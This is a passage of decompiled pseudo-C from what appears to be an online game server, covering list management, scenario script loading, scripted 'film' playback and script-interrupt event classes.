ListStruct *v9; // edi@9 int v10; // eax@9 v2 = this; this->l_MaxSize = size; if ( size == -1 ) { this->l_Array = 0; } else { v3 = operator new__(12 * (size + 1)); v2->l_Array = (ListStruct *)v3; if ( v3 ) { v4 = 0; v5 = 0; do { v2->l_Array[v5].ls_Content = 0; ++v4; ++v5; } while ( v4 <= v2->l_MaxSize ); v6 = 0; if ( v2->l_MaxSize > 0u ) { v7 = 0; do { v2->l_Array[v7].ls_Prev = v6 - 1; v2->l_Array[v7].ls_Next = v6 + 1; v2->l_Array[v7].ls_IsActiv = 0; ++v6; ++v7; } while ( v6 < v2->l_MaxSize ); } v2->l_Array->ls_Prev = v2->l_MaxSize - 1; *((_WORD *)&v2->l_Array[v2->l_MaxSize] - 4) = 0; v8 = v2->l_MaxSize; v9 = v2->l_Array; v2->l_Finger.store = v8; v2->l_Finger.empty = 0; v9[v8].ls_Prev = v8; v10 = (int)&v2->l_Array[v2->l_MaxSize]; *(_WORD *)(v10 + 4) = *(_WORD *)(v10 + 6); v2->l_Array[v2->l_MaxSize].ls_Content = 0; v2->l_Array[v2->l_MaxSize].ls_IsActiv = 1; v2->l_ListNum = 0; List::l_Clear(v2); } } } //----- (004C3B80) -------------------------------------------------------- void __thiscall ScenarioBookShelf::sbs_LoadScripts(ScenarioBookShelf *this) { char v1; // bl@1 int v2; // eax@1 int i; // ebx@4 void *v4; // esi@5 ORToken v5; // [sp-24h] [bp-1089Ch]@5 int v6; // [sp-20h] [bp-10898h]@5 int v7; // [sp-1Ch] [bp-10894h]@5 int v8; // [sp-18h] [bp-10890h]@5 int v9; // [sp-14h] [bp-1088Ch]@5 char *v10; // [sp-10h] [bp-10888h]@5 int v11; // [sp-Ch] [bp-10884h]@5 int v12; // [sp-8h] [bp-10880h]@5 int *v13; // [sp-4h] [bp-1087Ch]@5 int type; // [sp+Ch] [bp-1086Ch]@5 ORToken *v15; // [sp+10h] [bp-10868h]@5 OptionReader or; // [sp+14h] [bp-10864h]@1 unsigned int cookie; // [sp+10868h] [bp-10h]@13 int v18; // [sp+10874h] [bp-4h]@1 OptionReader::OptionReader(&or); v18 = 0; v1 = OptionReader::or_Read(&or, "../9Data/Shine/World/PineScript.txt"); v2 = OptionReader::or_ErrorLine(&or); if ( !v1 ) { AssertClass::ac_AssertFail(&shineassert, "ScenarioBookShelf::sbs_LoadScripts : Option read error", v2); ShineExit("ScenarioBookShelf::sbs_LoadScripts"); } for ( i = 0; ; ++i ) { v13 = &type; v12 = i; v11 = 0; v10 = byte_59A24E; v15 = &v5; v9 = 0; v8 = 0; v7 = 0; v6 = 0; *(_DWORD *)&v5.ort_Name[0] = 0; strncpy(v5.ort_Name, "PineScript", 0x14u); v4 = OptionReader::or_Select(&or, "ScriptName", v5, v10, v11, v12, v13); if ( !v4 ) break; if ( type != 2 ) { AssertClass::ac_AssertFail(&shineassert, "ScenarioBookShelf::sbs_LoadScripts : Type error", type); ShineExit("ScenarioBookShelf::sbs_LoadScripts"); } if ( !ScenarioBookShelf::sbs_Read(&scenarioshelf, (char *)v4) ) { AssertClass::ac_AssertFail( &shineassert, "ScenarioBookShelf::sbs_ReadNAssert : Script Load Error", (const char *)v4); ShineExit("ScenarioBookShelf::sbs_ReadNAssert"); } } v18 = -1; OptionReader::_OptionReader(&or); __security_check_cookie(cookie); } //----- (004C3CF0) -------------------------------------------------------- int __thiscall Movie::CinemaComplex::cc_PlayFilm(Movie::CinemaComplex *this, char *scriptname, PineScriptToken *initval) { Movie::CinemaComplex *v3; // esi@1 int v4; // edi@1 DebugLogging *v5; // eax@1 PineScriptToken *v6; // eax@1 PineScriptToken *v7; // ebx@2 int result; // eax@5 DebugLogging *v9; // eax@6 int v10; // edi@6 DebugLogging *v11; // eax@7 DebugLogging *v12; // eax@8 ListIteratorDefault arg; // [sp+14h] [bp-14h]@6 int v14; // [sp+18h] [bp-10h]@6 int v15; // [sp+24h] [bp-4h]@1 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "Movie::CinemaComplex::cc_PlayFilm"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "Movie::CinemaComplex::cc_PlayFilm"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = 0; v15 = 0; v5 = DebugLogging::operator<<(&KQLogging, "Movie::CinemaComplex::cc_PlayFilm 1"); DebugLogging::operator<<(v5, &deb_LF); LOWORD(v6) = v3->baseclass_0.l_Finger.empty; if ( (_WORD)v6 == -1 ) { v7 = initval; } else { v7 = v6; v4 = (int)v3->baseclass_0.vfptr->l_AllocA((List *)v3, (unsigned __int16)v6); } if ( v4 ) { v9 = DebugLogging::operator<<(&KQLogging, "Movie::CinemaComplex::cc_PlayFilm 2"); DebugLogging::operator<<(v9, &deb_LF); arg.vfptr = (ListIteratorDefaultVtbl *)&ListEraser::_vftable_; v14 = v4 + 66116; LOBYTE(v15) = 1; List::l_4AllInList((List *)(v4 + 66116), &arg); LOBYTE(v15) = 0; arg.vfptr = (ListIteratorDefaultVtbl *)&ListIteratorDefault::_vftable_; v10 = Movie::Theater::t_PlayFilm((Movie::Theater *)v4, scriptname, initval); if ( v10 == -1 ) { AssertClass::ac_AssertFail(&shineassert, "Script Error", scriptname); v11 = DebugLogging::operator<<(&KQLogging, "Movie::CinemaComplex::cc_PlayFilm Free"); DebugLogging::operator<<(v11, &deb_LF); v3->baseclass_0.vfptr->l_Free((List *)v3, (unsigned __int16)v7); } v12 = DebugLogging::operator<<(&KQLogging, "Movie::CinemaComplex::cc_PlayFilm 3"); DebugLogging::operator<<(v12, &deb_LF); --funcallanalizer.fca_stackpoint; v15 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "Movie::CinemaComplex::cc_PlayFilm"); result = v10; } else { AssertClass::ac_AssertFail(&shineassert, "Movie::CinemaComplex::cc_PlayFilm : Too many film", 0); --funcallanalizer.fca_stackpoint; v15 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "Movie::CinemaComplex::cc_PlayFilm"); result = -1; } return result; } // 59F228: using guessed type int (__stdcall *ListEraser_ItemLotAnalyser__LotChanger____vftable_)(int ele, __int16 handle); // 5D4CA8: using guessed type int (__stdcall *ListIteratorDefault_AbnormalStateContainer__AbstateElementInObject____vftable_)(int ele, __int16 handle); //----- (004C3EC0) -------------------------------------------------------- char __thiscall Movie::CinemaComplex::cc_IsDuringPlay(Movie::CinemaComplex *this, char *scriptname) { List *v2; // esi@1 char result; // al@1 __int16 hnd; // [sp+8h] [bp-12E00h]@1 FunctionEntarance _; // [sp+Ch] [bp-12DFCh]@1 Movie::Theater key; // [sp+10h] [bp-12DF8h]@1 unsigned int v7; // [sp+12DF8h] [bp-10h]@1 int v8; // [sp+12E04h] [bp-4h]@1 v2 = (List *)this; _.fe_FunctionCode = "Movie::CinemaComplex::cc_IsDuringPlay"; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "Movie::CinemaComplex::cc_IsDuringPlay"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "Movie::CinemaComplex::cc_IsDuringPlay"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v8 = 0; Movie::Theater::Theater(&key, scriptname); LOBYTE(v8) = 1; List::l_Search(v2, Movie::Theater::t_NameCompare, (unsigned __int16 *)&hnd, &key); LOBYTE(v8) = 0; Movie::Theater::_Theater(&key); --funcallanalizer.fca_stackpoint; v8 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "Movie::CinemaComplex::cc_IsDuringPlay"); __security_check_cookie(v7); return result; } //----- (004C3FD0) -------------------------------------------------------- char __thiscall Movie::CinemaComplex::cc_DropFilm(Movie::CinemaComplex *this, char *scriptname) { int v2; // eax@0 void *v3; // esp@1 List *v4; // esi@1 Movie::Theater *v5; // eax@1 ListVtbl *v6; // edx@2 char result; // al@4 ListIteratorDefault arg; // [sp+0h] [bp-12E04h]@2 ScriptInterrupt::ScriptInterruptManager *v9; // [sp+4h] [bp-12E00h]@2 unsigned __int16 hnd[2]; // [sp+8h] [bp-12DFCh]@1 Movie::Theater thisa; // [sp+Ch] [bp-12DF8h]@1 unsigned int v12; // [sp+12DF4h] [bp-10h]@4 int v13; // [sp+12DF8h] [bp-Ch]@1 int (*v14)(); // [sp+12DFCh] [bp-8h]@1 int v15; // [sp+12E00h] [bp-4h]@1 v15 = -1; v14 = _ehhandler__cc_DropFilm_CinemaComplex_Movie__QAEEPAE_Z; v13 = v2; v3 = alloca(77304); v4 = (List *)this; Movie::Theater::Theater(&thisa, scriptname); v15 = 0; v5 = List::l_Search(v4, Movie::Theater::t_NameCompare, hnd, &thisa); if ( v5 ) { arg.vfptr = (ListIteratorDefaultVtbl *)&ListEraser::_vftable_; v9 = &v5->t_InterruptManager; LOBYTE(v15) = 1; List::l_4AllInList((List *)&v5->t_InterruptManager, &arg); v6 = v4->vfptr; LOBYTE(v15) = 0; arg.vfptr = (ListIteratorDefaultVtbl *)&ListIteratorDefault::_vftable_; v6->l_Free(v4, *(_DWORD *)hnd); v15 = -1; Movie::Theater::_Theater(&thisa); } else { v15 = -1; Movie::Theater::_Theater(&thisa); } __security_check_cookie(v12); return result; } // 589336: using guessed type int _ehhandler$?cc_DropFilm_CinemaComplex_Movie__QAEEPAE_Z(); // 59F228: using guessed type int (__stdcall *ListEraser_ItemLotAnalyser__LotChanger____vftable_)(int ele, __int16 handle); // 5D4CA8: using guessed type int (__stdcall *ListIteratorDefault_AbnormalStateContainer__AbstateElementInObject____vftable_)(int ele, __int16 handle); //----- (004C40D0) -------------------------------------------------------- char __thiscall List::l_PushA(List *this, Movie::Theater *ele) { int v2; // eax@1 void *v3; // eax@1 v2 = this->l_Finger.empty; JUMPOUT(v2, -1, Concurrency::_Order_node_base::reserve_message); v3 = (void *)((int (__stdcall *)(int))this->vfptr->l_AllocA)(v2); if ( !v3 ) JUMPOUT(*(int *)Concurrency::_Order_node_base::reserve_message); Movie::Theater::operator_(v3, (int)ele); return 1; } // 4C40E5: using guessed type int __stdcall Concurrency___Order_node_base_enum Concurrency__agent_status___reserve_message(int); //----- (004C4100) -------------------------------------------------------- void *__thiscall Movie::Theater::operator_(void *this, int a2) { void *v2; // ebx@1 v2 = this; memcpy(this, (const void *)a2, 0x10244u); ScriptInterrupt::ScriptInterruptManager::operator_((int)((char *)this + 66116), a2 + 66116); memcpy((char *)v2 + 77020, (const void *)(a2 + 77020), 0x10Cu); return v2; } //----- (004C4190) -------------------------------------------------------- int __thiscall ScriptInterrupt::ScriptInterruptManager::operator_(int this, int a2) { int v2; // esi@1 int v3; // edi@1 int v4; // ebx@1 signed int v5; // ebp@1 v2 = this; *(_WORD *)(this + 4) = *(_WORD *)(a2 + 4); *(_DWORD *)(this + 8) = *(_DWORD *)(a2 + 8); *(_DWORD *)(this + 12) = *(_DWORD *)(a2 + 12); *(_DWORD *)(this + 16) = *(_DWORD *)(a2 + 16); *(_WORD *)(this + 20) = *(_WORD *)(a2 + 20); v3 = this + 24; v4 = a2 - this; v5 = 20; do { ScriptInterrupt::ScriptInterruptArgument::operator_(v3, v4 + v3); v3 += 544; --v5; } while ( v5 ); return v2; } //----- (004C41F0) -------------------------------------------------------- int __thiscall ScriptInterrupt::ScriptInterruptArgument::operator_(int this, int a2) { int result; // eax@1 result = this; *(_DWORD *)this = *(_DWORD *)a2; memcpy((void *)(this + 4), (const void *)(a2 + 4), 0x101u); *(_DWORD *)(this + 264) = *(_DWORD *)(a2 + 264); *(_DWORD *)(this + 268) = *(_DWORD *)(a2 + 268); *(_DWORD *)(this + 272) = *(_DWORD *)(a2 + 272); *(_DWORD *)(this + 276) = *(_DWORD *)(a2 + 276); *(_DWORD *)(this + 280) = *(_DWORD *)(a2 + 280); memcpy((void *)(this + 284), (const void *)(a2 + 284), 0x104u); return result; } //----- (004C4270) -------------------------------------------------------- char __thiscall List::l_PushZ(List *this, Movie::Theater *ele) { int v2; // eax@1 void *v3; // eax@1 v2 = this->l_Finger.empty; JUMPOUT(v2, -1, Concurrency::_Order_node_base::reserve_message); v3 = (void *)((int (__stdcall *)(int))this->vfptr->l_AllocZ)(v2); if ( !v3 ) JUMPOUT(*(int *)Concurrency::_Order_node_base::reserve_message); Movie::Theater::operator_(v3, (int)ele); return 1; } // 4C4286: using guessed type int __stdcall Concurrency___Order_node_base_enum Concurrency__agent_status___reserve_message(int); //----- (004C42A0) -------------------------------------------------------- char __thiscall List::l_PopA(List *this, Movie::Theater *ele) { List *v2; // esi@1 int v3; // eax@1 ListStruct *v4; // ecx@1 unsigned __int16 v5; // di@1 int v6; // eax@2 v2 = this; v3 = this->l_Finger.store; v4 = this->l_Array; v5 = v4[v3].ls_Next; if ( v5 < v2->l_MaxSize ) { v6 = (int)&v4[v5]; if ( !*(_BYTE *)(v6 + 8) ) return 0; Movie::Theater::operator_(ele, *(_DWORD *)v6); v2->vfptr->l_Free(v2, v5); } return 1; } //----- (004C42F0) -------------------------------------------------------- char __thiscall List::l_PopZ(List *this, Movie::Theater *ele) { List *v2; // esi@1 int v3; // eax@1 ListStruct *v4; // ecx@1 unsigned __int16 v5; // di@1 int v6; // eax@2 v2 = this; v3 = this->l_Finger.store; v4 = this->l_Array; v5 = v4[v3].ls_Prev; if ( v5 < v2->l_MaxSize ) { v6 = (int)&v4[v5]; if ( !*(_BYTE *)(v6 + 8) ) return 0; Movie::Theater::operator_(ele, *(_DWORD *)v6); v2->vfptr->l_Free(v2, v5); } return 1; } //----- (004C4340) -------------------------------------------------------- void __thiscall Movie::CinemaComplex::CinemaComplex(Movie::CinemaComplex *this) { Movie::CinemaComplex *v1; // esi@1 ListStruct *v2; // eax@2 ListStruct *v3; // eax@5 ListStruct *v4; // eax@8 ListStruct *v5; // eax@11 ListStruct *v6; // eax@14 ListStruct *v7; // eax@17 ListStruct *v8; // eax@20 ListStruct *v9; // eax@23 v1 = this; this->baseclass_0.vfptr = (ListVtbl *)List::_vftable_; this->baseclass_0.l_ListArray = 0; List::l_MakeList(&this->baseclass_0, 8u); v1->baseclass_0.vfptr = (ListVtbl *)List::_vftable_; _eh_vector_constructor_iterator_( v1->cc_Theater, 0x12DE8u, 8, (void (__thiscall *)(void *))Movie::Theater::Theater, (void (__thiscall *)(void *))Movie::Theater::_Theater); if ( v1->baseclass_0.l_MaxSize ) { v2 = v1->baseclass_0.l_Array; if ( !v2->ls_Content ) v2->ls_Content = v1->cc_Theater; } if ( v1->baseclass_0.l_MaxSize > 1u ) { v3 = v1->baseclass_0.l_Array; if ( !v3[1].ls_Content ) v3[1].ls_Content = &v1->cc_Theater[1]; } if ( v1->baseclass_0.l_MaxSize > 2u ) { v4 = v1->baseclass_0.l_Array; if ( !v4[2].ls_Content ) v4[2].ls_Content = &v1->cc_Theater[2]; } if ( v1->baseclass_0.l_MaxSize > 3u ) { v5 = v1->baseclass_0.l_Array; if ( !v5[3].ls_Content ) v5[3].ls_Content = &v1->cc_Theater[3]; } if ( v1->baseclass_0.l_MaxSize > 4u ) { v6 = v1->baseclass_0.l_Array; if ( !v6[4].ls_Content ) v6[4].ls_Content = &v1->cc_Theater[4]; } if ( v1->baseclass_0.l_MaxSize > 5u ) { v7 = v1->baseclass_0.l_Array; if ( !v7[5].ls_Content ) v7[5].ls_Content = &v1->cc_Theater[5]; } if ( v1->baseclass_0.l_MaxSize > 6u ) { v8 = v1->baseclass_0.l_Array; if ( !v8[6].ls_Content ) v8[6].ls_Content = &v1->cc_Theater[6]; } if ( v1->baseclass_0.l_MaxSize > 7u ) { v9 = v1->baseclass_0.l_Array; if ( !v9[7].ls_Content ) v9[7].ls_Content = &v1->cc_Theater[7]; } } // 5B78E4: using guessed type int (__stdcall *List_Movie__Theater____vftable_[3])(__int16 hnd); //----- (004C4480) -------------------------------------------------------- void __thiscall ScriptInterrupt::ScriptInterruptArgument::ScriptInterruptArgument(ScriptInterrupt::ScriptInterruptArgument *this) { ScriptInterrupt::ScriptInterruptArgument *v1; // esi@1 v1 = this; PineScriptToken::pst_Clear(&this->sib_InterruptBlock); *(_DWORD *)&v1->sib_InterruptIndex.n4_name[12] = 0; *(_DWORD *)&v1->sib_InterruptIndex.n4_name[8] = 0; *(_DWORD *)&v1->sib_InterruptIndex.n4_name[4] = 0; *(_DWORD *)&v1->sib_InterruptIndex.n4_name[0] = 0; } //----- (004C44B0) -------------------------------------------------------- void __thiscall ScriptInterrupt::ScriptInterruptArgument::_ScriptInterruptArgument(ScriptInterrupt::ScriptInterruptArgument *this) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&this->sib_InterruptBlock); } //----- (004C44C0) -------------------------------------------------------- void __thiscall ScriptInterrupt::ScriptInterruptAreaEntry::ScriptInterruptAreaEntry(ScriptInterrupt::ScriptInterruptAreaEntry *this) { this->baseclass_0.baseclass_0.vfptr = (ScriptInterrupt::ScriptInterruptBaseVtbl *)&ScriptInterrupt::ScriptInterruptAreaEntry::_vftable_; } // 5B7C10: using guessed type int (__stdcall *ScriptInterrupt__ScriptInterruptAreaEntry___vftable_)(int arg, int eventblock, int argument, int timelimit, int lst, __int16 hnd, int center); //----- (004C44D0) -------------------------------------------------------- void __thiscall ScriptInterrupt::ScriptInterruptObjectDeadIndex::_ScriptInterruptObjectDeadIndex(ScriptInterrupt::ScriptInteruptWinGuild *this) { this->baseclass_0.baseclass_0.baseclass_0.vfptr = (ScriptInterrupt::ScriptInterruptBaseVtbl *)&ScriptInterrupt::ScriptInterruptBase::_vftable_; } // 5B7BE8: using guessed type int (*ScriptInterrupt__ScriptInterruptBase___vftable_)(); //----- (004C44E0) -------------------------------------------------------- void __thiscall ScriptInterrupt::ScriptInterruptAreaLeave::ScriptInterruptAreaLeave(ScriptInterrupt::ScriptInterruptAreaLeave *this) { this->baseclass_0.baseclass_0.vfptr = (ScriptInterrupt::ScriptInterruptBaseVtbl *)&ScriptInterrupt::ScriptInterruptAreaLeave::_vftable_; } // 5B7C38: using guessed type int (__stdcall *ScriptInterrupt__ScriptInterruptAreaLeave___vftable_)(int arg, int eventblock, int argument, int timelimit, int lst, __int16 hnd, int center); //----- (004C44F0) -------------------------------------------------------- void __thiscall ScriptInterrupt::ScriptInterruptNPCClickHandle::ScriptInterruptNPCClickHandle(ScriptInterrupt::ScriptInterruptNPCClickHandle *this) { this->baseclass_0.vfptr = (ScriptInterrupt::ScriptInterruptBaseVtbl *)&ScriptInterrupt::ScriptInterruptNPCClickHandle::_vftable_; } // 5B7C60: using guessed type int (__stdcall *ScriptInterrupt__ScriptInterruptNPCClickHandle___vftable_)(int arg, int eventblock, int argument, int timelimit, int lst, __int16 hnd, int center); //----- (004C4500) -------------------------------------------------------- void __thiscall ScriptInterrupt::ScriptInterruptNPCClickIndex::ScriptInterruptNPCClickIndex(ScriptInterrupt::ScriptInterruptNPCClickIndex *this) { this->baseclass_0.vfptr = (ScriptInterrupt::ScriptInterruptBaseVtbl *)&ScriptInterrupt::ScriptInterruptNPCClickIndex::_vftable_; } // 5B7C88: using guessed type int (__stdcall *ScriptInterrupt__ScriptInterruptNPCClickIndex___vftable_)(int arg, int eventblock, int argument, int timelimit, int lst, __int16 hnd, int center); //----- (004C4510) -------------------------------------------------------- void __thiscall ScriptInterrupt::ScriptInterruptNPCClickAny::ScriptInterruptNPCClickAny(ScriptInterrupt::ScriptInterruptNPCClickAny *this) { this->baseclass_0.vfptr = (ScriptInterrupt::ScriptInterruptBaseVtbl *)&ScriptInterrupt::ScriptInterruptNPCClickAny::_vftable_; } // 5B7CB0: using guessed type int (__stdcall *ScriptInterrupt__ScriptInterruptNPCClickAny___vftable_)(int arg, int eventblock, int argument, int timelimit, int lst, __int16 hnd, int center); //----- (004C4520) -------------------------------------------------------- void __thiscall ScriptInterrupt::ScriptInterruptObjectDeadHandle::ScriptInterruptObjectDeadHandle(ScriptInterrupt::ScriptInterruptObjectDeadHandle *this) { this->baseclass_0.vfptr = (ScriptInterrupt::ScriptInterruptBaseVtbl *)&ScriptInterrupt::ScriptInterruptObjectDeadHandle::_vftable_; } // 5B7CD8: using guessed type int (__stdcall *ScriptInterrupt__ScriptInterruptObjectDeadHandle___vftable_)(int arg, int eventblock, int argument, int timelimit, int lst, __int16 hnd, int center); //----- (004C4530) -------------------------------------------------------- void __thiscall ScriptInterrupt::ScriptInterruptObjectDeadIndex::ScriptInterruptObjectDeadIndex(ScriptInterrupt::ScriptInterruptObjectDeadIndex *this) { this->baseclass_0.vfptr = (ScriptInterrupt::ScriptInterruptBaseVtbl *)&ScriptInterrupt::ScriptInterruptObjectDeadIndex::_vftable_; } // 5B7D00: using guessed type int (__stdcall *ScriptInterrupt__ScriptInterruptObjectDeadIndex___vftable_)(int arg, int eventblock, int argument, int timelimit, int lst, __int16 hnd, int center); //----- (004C4540) -------------------------------------------------------- void __thiscall ScriptInterrupt::ScriptInterruptMobEleminate::ScriptInterruptMobEleminate(ScriptInterrupt::ScriptInterruptMobEleminate *this) { this->baseclass_0.vfptr = (ScriptInterrupt::ScriptInterruptBaseVtbl *)&ScriptInterrupt::ScriptInterruptMobEleminate::_vftable_; } // 5B7D28: using guessed type int (__stdcall *ScriptInterrupt__ScriptInterruptMobEleminate___vftable_)(int arg, int eventblock, int argument, int timelimit, int lst, __int16 hnd, int center); //----- (004C4550) -------------------------------------------------------- void __thiscall ScriptInterrupt::ScriptInterruptPlayerEleminate::ScriptInterruptPlayerEleminate(ScriptInterrupt::ScriptInterruptPlayerEleminate *this) { this->baseclass_0.vfptr = (ScriptInterrupt::ScriptInterruptBaseVtbl *)&ScriptInterrupt::ScriptInterruptPlayerEleminate::_vftable_; } // 5B7D50: using guessed type int (__stdcall *ScriptInterrupt__ScriptInterruptPlayerEleminate___vftable_)(int arg, int eventblock, int argument, int timelimit, int lst, __int16 hnd, int center); //----- (004C4560) -------------------------------------------------------- void __thiscall ScriptInterrupt::ScriptInterruptGuildEleminate::ScriptInterruptGuildEleminate(ScriptInterrupt::ScriptInterruptGuildEleminate *this) { this->baseclass_0.vfptr = (ScriptInterrupt::ScriptInterruptBaseVtbl *)&ScriptInterrupt::ScriptInterruptGuildEleminate::_vftable_; } // 5B7D78: using guessed type int (__stdcall *ScriptInterrupt__ScriptInterruptGuildEleminate___vftable_)(int arg, int eventblock, int argument, int timelimit, int lst, __int16 hnd, int center); //----- (004C4570) -------------------------------------------------------- void __thiscall ScriptInterrupt::ScriptInterruptInterval::ScriptInterruptInterval(ScriptInterrupt::ScriptInterruptInterval *this) { this->baseclass_0.vfptr = (ScriptInterrupt::ScriptInterruptBaseVtbl *)&ScriptInterrupt::ScriptInterruptInterval::_vftable_; } // 5B7DA0: using guessed type int (__stdcall *ScriptInterrupt__ScriptInterruptInterval___vftable_)(int arg, int eventblock, int argument, int timelimit, int lst, __int16 hnd, int center); //----- (004C4580) -------------------------------------------------------- void __thiscall ScriptInterrupt::ScriptInterruptHPLow::ScriptInterruptHPLow(ScriptInterrupt::ScriptInterruptHPLow *this) { this->baseclass_0.vfptr = (ScriptInterrupt::ScriptInterruptBaseVtbl *)&ScriptInterrupt::ScriptInterruptHPLow::_vftable_; } // 5B7DC8: using guessed type int (__stdcall *ScriptInterrupt__ScriptInterruptHPLow___vftable_)(int arg, int eventblock, int argument, int timelimit, int lst, __int16 hnd, int center); //----- (004C4590) -------------------------------------------------------- void __thiscall ScriptInterrupt::ScriptInterruptTimeOut::ScriptInterruptTimeOut(ScriptInterrupt::ScriptInterruptTimeOut *this) { this->baseclass_0.vfptr = (ScriptInterrupt::ScriptInterruptBaseVtbl *)&ScriptInterrupt::ScriptInterruptTimeOut::_vftable_; } // 5B7DF0: using guessed type int (__stdcall *ScriptInterrupt__ScriptInterruptTimeOut___vftable_)(int arg, int eventblock, int argument, int timelimit, int lst, __int16 hnd, int center); //----- (004C45A0) -------------------------------------------------------- void __thiscall ScriptInterrupt::ScriptInterruptKillEnemy::ScriptInterruptKillEnemy(ScriptInterrupt::ScriptInterruptKillEnemy *this) { this->baseclass_0.vfptr = (ScriptInterrupt::ScriptInterruptBaseVtbl *)&ScriptInterrupt::ScriptInterruptKillEnemy::_vftable_; } // 5B7E18: using guessed type int (__stdcall *ScriptInterrupt__ScriptInterruptKillEnemy___vftable_)(int arg, int eventblock, int argument, int timelimit, int lst, __int16 hnd, int center); //----- (004C45B0) -------------------------------------------------------- void __thiscall ScriptInterrupt::ScriptInterruptTargetChange::ScriptInterruptTargetChange(ScriptInterrupt::ScriptInterruptTargetChange *this) { this->baseclass_0.vfptr = (ScriptInterrupt::ScriptInterruptBaseVtbl *)&ScriptInterrupt::ScriptInterruptTargetChange::_vftable_; } // 5B7E40: using guessed type int (__stdcall *ScriptInterrupt__ScriptInterruptTargetChange___vftable_)(int arg, int eventblock, int argument, int timelimit, int lst, __int16 hnd, int center); //----- (004C45C0) -------------------------------------------------------- void __thiscall ScriptInterrupt::ScriptInterruptPlayerDead::ScriptInterruptPlayerDead(ScriptInterrupt::ScriptInterruptPlayerDead *this) { this->baseclass_0.vfptr = (ScriptInterrupt::ScriptInterruptBaseVtbl *)&ScriptInterrupt::ScriptInterruptPlayerDead::_vftable_; } // 5B7E68: using guessed type int (__stdcall *ScriptInterrupt__ScriptInterruptPlayerDead___vftable_)(int arg, int eventblock, int argument, int timelimit, int lst, __int16 hnd, int center); //----- (004C45D0) -------------------------------------------------------- void __thiscall ScriptInterrupt::ScriptInterruptPickUpItemIndex::ScriptInterruptPickUpItemIndex(ScriptInterrupt::ScriptInterruptPickUpItemIndex *this) { this->baseclass_0.vfptr = (ScriptInterrupt::ScriptInterruptBaseVtbl *)&ScriptInterrupt::ScriptInterruptPickUpItemIndex::_vftable_; } // 5B7E90: using guessed type int (__stdcall *ScriptInterrupt__ScriptInterruptPickUpItemIndex___vftable_)(int arg, int eventblock, int argument, int timelimit, int lst, __int16 hnd, int center); //----- (004C45E0) -------------------------------------------------------- void __thiscall ScriptInterrupt::ScriptInterruptAdmin::ScriptInterruptAdmin(ScriptInterrupt::ScriptInterruptAdmin *this) { this->baseclass_0.vfptr = (ScriptInterrupt::ScriptInterruptBaseVtbl *)&ScriptInterrupt::ScriptInterruptAdmin::_vftable_; } // 5B7EB8: using guessed type int (__stdcall *ScriptInterrupt__ScriptInterruptAdmin___vftable_)(int arg, int eventblock, int argument, int timelimit, int lst, __int16 hnd, int center); //----- (004C45F0) -------------------------------------------------------- void __thiscall ScriptInterrupt::ScriptInterruptHPFull::ScriptInterruptHPFull(ScriptInterrupt::ScriptInterruptHPFull *this) { this->baseclass_0.vfptr = (ScriptInterrupt::ScriptInterruptBaseVtbl *)&ScriptInterrupt::ScriptInterruptHPFull::_vftable_; } // 5B7EE0: using guessed type int (__stdcall *ScriptInterrupt__ScriptInterruptHPFull___vftable_)(int arg, int eventblock, int argument, int timelimit, int lst, __int16 hnd, int center); //----- (004C4600) -------------------------------------------------------- void __thiscall ScriptInterrupt::ScriptInterruptHPUpper::ScriptInterruptHPUpper(ScriptInterrupt::ScriptInterruptHPUpper *this) { this->baseclass_0.vfptr = (ScriptInterrupt::ScriptInterruptBaseVtbl *)&ScriptInterrupt::ScriptInterruptHPUpper::_vftable_; } // 5B7F08: using guessed type int (__stdcall *ScriptInterrupt__ScriptInterruptHPUpper___vftable_)(int arg, int eventblock, int argument, int timelimit, int lst, __int16 hnd, int center); //----- (004C4610) -------------------------------------------------------- void __thiscall ScriptInterrupt::ScriptInteruptWinGuild::InterruptEvent(ScriptInterrupt::ScriptInteruptWinGuild *this, ScriptInterrupt::ScriptInterruptArgument *pInterruptArument, ScriptInterrupt::InterruptEventArgument *pEventArument) { ScriptInterrupt::ScriptInteruptWinGuild *v3; // edi@1 v3 = this; if ( pInterruptArument->sib_InterruptBlast != 1 ) { if ( pEventArument->vfptr->GetEventType(pEventArument) == 1 ) { pInterruptArument->sib_InterruptBlast = 1; v3->RegNo = (unsigned int)pEventArument[1].vfptr; } } } //----- (004C4650) -------------------------------------------------------- char __thiscall MapBlock::MapBlockInformation::mbi_AreaLeave(MapBlock::MapBlockInformation *this, Name8 *areaindex, unsigned int x, unsigned int y) { AreaInfoData::IAreaData *v4; // eax@1 char result; // al@2 float v6; // ST04_4@3 float v7; // ST00_4@3 v4 = AreaInfoData::GetData(&this->mbi_AreaData, areaindex); if ( v4 ) { v6 = (double)y; v7 = (double)x; result = ((int (__thiscall *)(_DWORD, _DWORD, _DWORD))v4->vfptr->IntersectTest)(v4, LODWORD(v7), LODWORD(v6)) == 0; } else { result = 0; } return result; } //----- (004C46B0) -------------------------------------------------------- void __thiscall List::_List(List *this) { void *v1; // ecx@1 this->vfptr = (ListVtbl *)ScriptInterrupt::ScriptInterruptManager::_vftable_; v1 = this->l_Array; if ( v1 ) operator delete__(v1); } // 5B7F30: using guessed type int (__stdcall *ScriptInterrupt__ScriptInterruptManager___vftable_[3])(__int16 hnd); //----- (004C46D0) -------------------------------------------------------- void __thiscall ScriptInterrupt::ScriptInterruptManager::_ScriptInterruptManager(ScriptInterrupt::ScriptInterruptManager *this) { ScriptInterrupt::ScriptInterruptManager *v1; // esi@1 void *v2; // esi@1 v1 = this; this->baseclass_0.vfptr = (ListVtbl *)ScriptInterrupt::ScriptInterruptManager::_vftable_; _eh_vector_destructor_iterator_( this->sim_ArgArray, 0x220u, 20, (void (__thiscall *)(void *))ScriptInterrupt::ScriptInterruptArgument::_ScriptInterruptArgument); v1->baseclass_0.vfptr = (ListVtbl *)ScriptInterrupt::ScriptInterruptManager::_vftable_; v2 = v1->baseclass_0.l_Array; if ( v2 ) operator delete__(v2); } // 5B7F30: using guessed type int (__stdcall 